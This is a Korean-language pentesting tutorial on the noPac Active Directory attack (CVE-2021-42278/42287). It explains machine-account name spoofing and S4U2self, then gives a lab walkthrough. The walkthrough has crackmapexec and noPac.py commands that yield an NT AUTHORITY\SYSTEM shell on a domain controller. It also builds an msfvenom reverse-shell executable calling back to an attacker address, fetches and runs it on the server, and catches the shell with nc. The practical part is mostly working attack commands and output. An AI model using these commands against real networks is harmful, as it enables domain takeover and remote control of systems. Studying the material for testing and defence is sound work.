CVE-2021-42287은 Microsoft의 Active Directory 환경에서 발견된 취약점으로
PAC 정보 없이도 낮은 권한의 사용자가 관리자 권한을 탈취할 수 있는 취약점입니다.
이 취약점을 사용하기 위해서는 CVE-2021-42278이 먼저 선행되어야 합니다.
즉 Microsoft에서 권장하는 패치를 진행하지 않아
CVE-2021-42278, CVE-2021-42287 에 취약한 AD 서버라면 공격이 가능합니다.
정리해서 이 공격에 필요한 몇가지 조건은 다음과 같습니다.
CVE-2021-42278에 취약한 AD 환경
CVE-2021-42287에 취약한 AD 환경
MAQ, S4U2self 등의 부가적인 개념들은 소제목 파트에서 알아보고
이 파트에서는 전체적인 공격 시나리오에 대해서 다룹니다.
Copy sAMAccountName: DnsUpdateProxy
sAMAccountName: CWIN01$
sAMAccountName: CA01$
sAMAccountName: ITSupport
sAMAccountName: wiki
sAMAccountName: pentesting
Active Directory 환경에서 머신 계정, 즉 컴퓨터 계정은 전부 이름 뒤에 $ 기호가 붙습니다.
다시 말해 $ 기호가 존재하지 않는 계정은 일반 계정입니다.
MAQ가 1 이상 설정되어 있을 때 사용자는 머신 계정을 생성할 수 있는데
이때 Domain Controller의 이름에서 $ 기호만 제거한 채로 동일하게 생성합니다.
예를 들어 DC의 이름이 DC01$라고 한다면 DC01라는 이름의 머신 계정을 생성합니다.
그 다음 DC01 머신 계정을 이용하여 S4U2self를 이용하여 DC로부터 TGT를 발급 받습니다.
TGT를 발급받은 이후에는 DC01 머신 계정의 이름을 변경합니다.
이때 변경하는 이름 자체는 중요하지 않지만 변경한다는 것 자체가 중요합니다.
마지막 단계로 이름을 변경 후 DC에 ST 발급 요청을 했을 때
DC는 ST 나와있는 DC01이라는 계정을 더이상 도메인으로부터 찾을 수 없습니다.
우리가 이전 단계에서 DC01이라는 이름을 TGT 발급 이후 변경했기 때문입니다.
이때 S4Uself 매커니즘에서 특이한 현상이 있는데,
도메인으로부터 사용자 이름을 찾을 수 없으면 이름 뒤에 $ 기호를 추가해봅니다.
$ 기호를 추가해서 도메인에 질의했을 때, 만약 이번에는 계정이 존재한다면
정상적으로 ST을 발급해줍니다.
현재 시나리오에서 이 이름은 DC01$가 되며 이것은 곧 Domain Controller의 계정명입니다.
즉 ST을 요청할 때 도메인 컨트롤러의 권한으로 요청을 할 수 있기 때문에
컨트롤러 권한을 가진 ST을 발급 요청할 수가 있습니다.
정리하여 이 취약점이 성공했을 시
사용자는 아무런 권한이 없는 일반 사용자 계정에서 관리자 권한을 부여받을 수 있습니다.
MAQ S4USelf
MAQ는 위사진에서 볼 수 있듯이 MachineAccountQuota의 약어입니다.
Active Directory 환경에서 MAQ는 기본적으로 사용자에게 10이라는 숫자로 부여됩니다.
원래 의미하는 바는 사용자가 해당 도메인 내에생성할 수 있는 머신 계정의 최대 수를
10개로 제한한다는 것이지만,
반대로 말하자면 사용자는 10개 이하의 머신 계정 생성이 가능하다는 것입니다.
이는 일반적인 사용자도 관리자의 도움 없이 도메인에 컴퓨터를 추가할 수 있게 해줍니다.
S4Uself는 Service for User to self의 약어로 MS의 Kerberos 프로토콜에서 제공하는
특별한 티켓 요청 매커니즘입니다.
원래라면 TGT, ST 같은 티켓을 요청할 때 DC에 사용자가 직접적인 요청을 하고
인증 서버로부터 직접 발급을 받는 매커니즘이지만
이것은 서비스 계정이 사용자의 자격증명을 대리로 사용하여 서비스 계정으로
티켓을 발급받을 수 있습니다.
이것이 필요한 이유는 서비스가 사용자를 대신해 서비스 등을 자동화 하기 위함입니다.
Practice
먼저 noPac 취약점에 취약한지 테스트를 해보기 위해서 cme에서 제공하는
noPac 모듈을 사용할 수 있습니다.
Copy ┌──(root㉿kali)-[~]
└─# crackmapexec smb 10.0.2.10 -u wiki -p password123@ -d offsec.local -M noPac
SMB 10.0.2.10 445 DC01 [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB 10.0.2.10 445 DC01 [+] offsec.local\wiki:password123@ (Pwn3d!)
NOPAC 10.0.2.10 445 DC01 TGT with PAC size 1430
NOPAC 10.0.2.10 445 DC01 TGT without PAC size 697
NOPAC 10.0.2.10 445 DC01
NOPAC 10.0.2.10 445 DC01 VULNEABLE
NOPAC 10.0.2.10 445 DC01 Next step: https://github.com/Ridter/noPac
페이로드를 삽입했을 때 noPac에 취약하다는 결과를 확인할 수 있습니다.
깃허브로부터 noPac 파이썬 스크립트를 다운로드 하여 가져옵니다.
noPac을 사용할 때 역시 Domain Controller와의 시차가 5분 이상 존재하면 안 되기 때문에
로컬에서 시차를 컨트롤러와 동기화 시켜줍니다.
Copy timedatectl set-ntp off
ntpdate DC-IP
파이썬3을 이용하여 noPac 스크립트를 사용해주는데, 간혹 오류가 발생하면
ldap 프로토콜을 이용하여 공격을 수행합니다.
플래그는 -use-ldap이며 쉘을 획득할 때는 -shell 플래그를 사용해줍니다.
Copy ┌──(root㉿kali)-[~/Pentest/noPac]
└─# python3 noPac.py offsec.local/wiki:'password123@' -dc-ip 10.0.2.10 -use-ldap -shell
███ ██ ██████ ██████ █████ ██████
████ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██████ ███████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██
██ ████ ██████ ██ ██ ██ ██████
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target dc01.offsec.local
[*] Total Domain Admins 3
[*] will try to impersonate wiki
[*] Adding Computer Account "WIN-ODEFYSY2A7V$"
[*] MachineAccount "WIN-ODEFYSY2A7V$" password = $wrKcHuHE9U^
[*] Successfully added machine account WIN-ODEFYSY2A7V$ with password $wrKcHuHE9U^.
[*] WIN-ODEFYSY2A7V$ object = CN=WIN-ODEFYSY2A7V,CN=Computers,DC=offsec,DC=local
[*] WIN-ODEFYSY2A7V$ sAMAccountName == dc01
[*] Saving a DC's ticket in dc01.ccache
[*] Reseting the machine account to WIN-ODEFYSY2A7V$
[*] Restored WIN-ODEFYSY2A7V$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating wiki
[*] Requesting S4U2self
[*] Saving a user's ticket in wiki.ccache
[*] Rename ccache to wiki_dc01.offsec.local.ccache
[*] Attempting to del a computer with the name: WIN-ODEFYSY2A7V$
[*] Delete computer WIN-ODEFYSY2A7V$ successfully!
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
실행이 완료된 이후에는 시스템 쉘을 획득한 것이 확인됩니다.
다만 noPac으로 연결된 쉘은 SMB 쉘로 매우 불안정하며 제한적인 쉘입니다.
따라서 쉘을 조금 더 안정적으로 업그레이드 하기 위해서
미터프리터 혹은 msfvenom을 통한 쉘로 재연결을 할 수 있습니다.
먼저 msfvenom으로 리버스 쉘 실행파일을 생성합니다.
Copy msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.36 LPORT=4444 -f exe > rev.exe
실행파일이 제작되면 파이썬 로컬 서버를 생성하고 Windows 쉘에서는 해당 파일을 가져옵니다.
리버스쉘 실행파일 생성 시 지정했던 포트를 ncat을 통해 열어준 후
서버에서는 이 실행파일을 실행합니다.
Copy C:\\Windows\\system32\\rev.exe
Copy ┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.10] 60330
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd ..
cd ..
C:\Windows>
이제 리버스쉘을 통해 연결된 쉘은 비교적 자유롭고 안정적인 연결이 유지됩니다.
References
Last updated 5 months ago